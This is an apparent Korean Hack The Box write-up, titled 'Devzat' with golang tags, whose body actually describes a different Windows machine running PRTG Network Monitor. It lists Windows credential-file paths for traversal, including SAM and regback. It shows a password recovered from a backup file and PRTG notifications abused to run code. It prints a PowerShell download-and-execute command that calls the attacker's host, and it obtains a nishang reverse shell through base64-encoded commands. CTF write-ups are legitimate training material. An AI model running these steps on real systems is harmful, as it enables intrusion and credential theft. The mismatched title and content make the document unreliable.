HTB-Devzat Write up
golang, git-dumper
Easy난이도의 머신이지만 PRTG 서비스에서 하루종일 삽집한 문제
nmap 결과 21 FTP, 80 Web, 139,445 Samba등 다양한 포트가 개방되어있는것을 확인가능합니다.
nmap 결과
nmap -sC -sV 를 사용하여 상세 스캔 시 anonoymous로 ftp 서버에 접속가능한것을 확인
ftp anonymous
user flag의 경우 ftp서비스에서 get을 사용하여 바로 획득 가능
user flag
FTP에 anonymous로 접속이 가능하니 windows의 중요파일을 다운로드 하여 중요정보를 찾아봅니다
Wordlist == /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
Traversal encoding:
===================
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
....\
File Paths
==========
C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini C:/WINDOWS/Repair/SAM
C:/Windows/repair/system C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
그러나 해당 파일들에서 중요정보를 얻지는 못하였습니다
이제 80포트 웹서버에 접속하여보니 PRTG Network Monitor 서비스인것을 확인 가능합니다.
prtg web서비스
해당 서비스에 대해 검색 중 prtg network monitor configuration file 검색 시 중요 정보가 담긴 파일이 있는것을 확인
Data directory
dir -a 를 통해 발견하지 못하였던 숨김폴더 까지 검색 시 ProgramData폴더 발견
숨김폴더
검색을 통하여 찾은 디렉토리로 이동시 PRTG COnfiguration.old.bak 파일을 발견할 수 있었습니다
백업파일 획득
해당 파일을 열어보니 User ID와 Password 획득
중요정보 획득
그러나 해당 정보로 로그인이 되지 않음. 해당 파일은 18년도에 생상되었고 PRTG의 최근 업데이트는 19년도이니 뒷자리를 2019로 바꿔서 로그인시 로그인 성공
2019로 패스워드 시도
여기부터 PRTG 서비스에 대해 잘 몰라 하루종일 삽질한 부분입니다..
알림 서비스를 이용해서 bat과 ps1 스크립트가 실행이 가능합니다
현재 로컬 서버로 ping 전송 시 tcpdump를 사용해 핑이 잘 도착하는것을 확인 가능합니다.
알림생성
핑 확인
nishang의 PowerShellTCP.ps1을 사용 (리버스쉘 ip및 port설정)
ps1 리버스쉘 설정
해당 ps1 파일이 있는곳에서 웹서버를 열어줍니다
http.server
PRTG 알람에서 해당 reverse.ps1을 다운받고 실행시켜주는 명령어를 입력하여 전송 시 파일 다운로드는 되지만 리버스쉘이 연결되지 않습니다.
IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.119.193/powerview.ps1')
파일 다운로드 성공
포트 변경 문자열 변경등 여러가지를 시도하였지만 쉘이 열리지 않아 해당 ps1의 쉘코드를 base64로 암호화를 시도 후 powershell 명령어를 통해 직접 코드를 실행시켜 줍니다
쉘코드 base64 암호화
인코딩 된 명령어 직접입력
그러면 코드가 전송 성공하고 리버스쉘이 연결됩니다.
쉘 획득